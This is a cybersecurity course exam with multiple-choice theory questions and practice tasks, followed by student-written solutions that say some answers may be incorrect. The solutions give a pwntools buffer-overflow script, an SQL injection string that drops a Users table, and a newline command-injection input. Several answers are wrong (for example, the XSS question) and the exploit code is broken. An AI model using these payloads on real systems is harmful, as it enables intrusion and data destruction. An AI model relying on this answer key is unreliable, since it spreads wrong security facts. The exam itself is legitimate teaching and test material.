CyberSecurity: Principles and Practices
Fist Written Exam - 20/01/2020

Name……..Surname……..……
Student Number……

Write down your answers ONLY on the answer sheet. Any answer provided in this sheet will not be considered for the final evaluation.

THEORY

Write down on the answer sheet the letter corresponding to the right answer according to you. For each question, there is only one right answer.

1. Which approach does not prevent an attacker from eavesdropping messages sent between the two parties?
    a. DES or Triple-DES
    b. Message Authentication Code
    c. Ciphers (e.g., Caesar cipher)
    d. Stream Ciphers
2. What is the main property that a pseudo-random number generator must have?
    a. Sampling from a Normal Distribution (Gaussian)
    b. Using a fixed seed
    c. Using deterministic sources
    d. Sampling from a Uniform Distribution
3. Which of the following definitions might apply to a “bastion host”?
    a. A host that controls zombies in a botnet
    b. A compromised device
    c. A host that gives certificates on private-public keys
    d. A host that implements a firewall
4. Which of the following actions / operations might apply to an “honeypot”?
    a. Detecting intruders
    b. Storing user-authentication information
    c. Hosting sensible services of the system
    d. Recording users activities
5. Choose a good countermeasure against the “password guessing attack”:
    a. Shadow password file
    b. Intrusion detection systems
    c. Policies that do not allow the use of simple and common passwords
    d. Strong hash tables
6. In general, which one is a good practice to increase security?
    a. Educating users
    b. Designing systems with security properties instead of just “patching”
    c. Combining several security mechanisms together

    d. Using only systems provided by big companies (e.g., Microsoft, Google) that are highly monitored by security experts
7. What are “canaries” used for?
    a. Detecting DDoS attacks
    b. Detecting intruders
    c. Encrypting packages
    d. Detecting buffer-overflow attacks
8. Do you think using Data Encryption Standard (DES) protocols in nowadays communication is a good idea?
    a. Yes
    b. No, 56-bit keys are vulnerable to brute-force attack
    c. Yes, but only if the user chooses a strong password
    d. No, it is too slow
9. The University of Padova asked the SPRITZ group to handle the Access Control system for a new teaching service. This service is used by students, teachers and teaching assistants. What is the best Access Control system in this case?
    a. Role-based Access Control
    b. Access Control Matrix
    c. Access Control List
    d. Bloom Filter
10. Choose the best answer. Assuming the users follow the security standards, biometrics authentication systems are useful because:
    a. They have 100% of accuracy
    b. They are cheap
    c. They do not involve a high users’ effort
    d. They are more secure than standard alpha-numeric password systems
11. Among the following ones, which one is NOT a property of the XOR? (the XOR operation is defined with ‘^’).
    a. a ^ a = 1
    b. a ^ 0 = a
    c. a ^ b = b ^ a
    d. All of the above
12. What is a possible application of auditing systems?
    a. Offering user authentication mechanisms
    b. Monitoring if a communication is encrypted
    c. Preventing buffer overflow attacks
    d. Recording the activities of target systems / network
13. Which is the target of a database inference attack?
    a. The raw data of the database
    b. The metadata of the database
    c. The server where the database is stored
    d. The connection towards the database
14. How can you prevent SQL injection attacks?
    a. By dropping network connections to the database
    b. By perturbing the raw data of the database
    c. By perturbing the output returned to the user

    d. By sanitizing users' input
15. Which malware cannot do anything until the user activates the file attached by the malware?
    a. Virus
    b. Worm
    c. Bot
    d. Trojan horse
16. Which one, among the following, could be a vehicle of a malware?
    a. Social network
    b. Online media
    c. Cracked software
    d. All of the above
17. Which programming languages are vulnerable to buffer overflow attacks?
    a. Python
    b. C, C++
    c. Java
    d. C#, Java
18. How many subclasses of buffer overflow attacks are there?
    a. 2
    b. 3
    c. 4
    d. 5
19. Which one is NOT a security exploit?
    a. SQL injection
    b. Cross-site scripting
    c. Eavesdropping
    d. Authentication
20. Where is the malicious script executed in a cross-site scripting attack?
    a. On the web server
    b. On the attacker's browser
    c. On the user's browser
    d. On the user's network connection
21. If you post a message containing malicious code on Facebook, which exploit can you carry out?
    a. Cross-site scripting
    b. SQL injection
    c. a and b
    d. None of the above
22. Which property does the Bell-LaPadula model focus on?
    a. Authentication
    b. Security
    c. Confidentiality
    d. Integrity
23. When attacking an IT system, which is the first security property the attacker might want to compromise?
    a. Confidentiality

b. Integrity
c. Authentication
d. Availability

24. Which type of malware can run independently, move from system to system and disrupt computer communication?
    a. Rootkit
    b. Virus
    c. Worm
    d. Trojan

PRACTICE

1. Provide the ciphertext of the following encryption algorithm pseudocode, given “dogs” as plaintext.

```
def encrypt(text):
        result = “”
        for i in range(len(text) - 1, …, 0):
                results += text[i]

        return result
```

2. You are given a *C* object, where the buffer overflow protection mechanisms are disabled. Suppose that there is no additional memory space allocated between variables, provide a reasonable “pwntool”-like instruction that performs a buffer overflow and captures the flag.

   N.b.: this is a 64-bit machine.

```
void flag():
        printf(“This is a flag”);

int main():
        char [64] buff;
        gets(buff);
        printf(“You inserted %s”, buff);
        return 0;
```

3. You are given an encrypted text, but you don’t know the mapping dictionary. We ask you to formulate 2 reasonable hypotheses in order to reduce the complexity of a brute force attack (i.e., cryptanalysis). Motivate your answer.

   Ciphertext:

   s'j sd obe zxfhhammj nsob f rmmp.

4. Suppose you have a website where you can retrieve information about a specific product, given the *productId*. After inserting the requested parameter, the website builds a string query that is sent to the database as a single SQL statement:

   sql_query= "SELECT productName, productDescription
   FROM Products
   WHERE productId = Request.QueryString("productId")”

   You are asked to build an attack aimed at deleting the *Users* table of the database.

5. Suppose you have a website running the following Python code:

   ```
   import os

   domain = user_input()
   os.system('ping ' + domain)
   ```

   You are asked to provide the input that allows you to list all the files in website server directory.

6. Consider the following block belonging to a C program. Write down the possible corresponding C source code.

```
; Attributes: bp-based frame

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4

push    rbp
mov     rbp, rsp
sub     rsp, 10h
mov     edx, [rbp+var_C]
mov     eax, [rbp+var_8]
add     eax, edx
mov     [rbp+var_4], eax
mov     eax, [rbp+var_4]
mov     esi, eax
lea     rdi, format     ; "This is the result: %d\n"
mov     eax, 0
call    _printf
mov     eax, 0
leave
retn
main endp
```

Solutions

Scritte da Francesco Freda grazie anche all'aiuto di altri studenti. Per certe domande non si ha la certezza del 100% che le risposte siano corrette.

THEORY

1. c
2. c
3. d
4. a
5. c
6. d
7. d
8. b
9. a
10. c
11. a
12. d
13. a
14. d
15. a
16. c
17. b
18. a
19. c
20. a
21. a
22. c
23. a
24. c

PRACTICE

1. sgod

2.

```
elf = ELF("./file")
target_add = str(p64(elf.symbols['flag']))
garbage = (64 + 8) * "a"
msgin = garbage + target_address
p = process("./file")
p.sendline(msgin)
msgout = p.recvall()
print(msgout)
```

3.Criptoanalysis:

- "s'j" could be "I'm" or "I'd"; (s=i, j=m)
- "sd" could be "in", whether the previous point is correct (s=i); (d=n)
- "f" must be a vocal, i.e: "a". (f=a)

4. ");DROP TABLE Users--

N.B: "); serve per passare la stringa vuota come argomento della funzione e a chiudere la query, dopodiché puoi inserire del codice SQL per cancellare la tabella richiesta e infine -- serve a dire all'interprete di ignorare i caratteri ")

5. %0als

N.B: %0a is URL-encoding of a newline

6.

```
var_C=arg1; var_8=arg2; var_4=arg3;
var_4=var_C+var_8;
printf("This is the result: %d\n", var_4)
```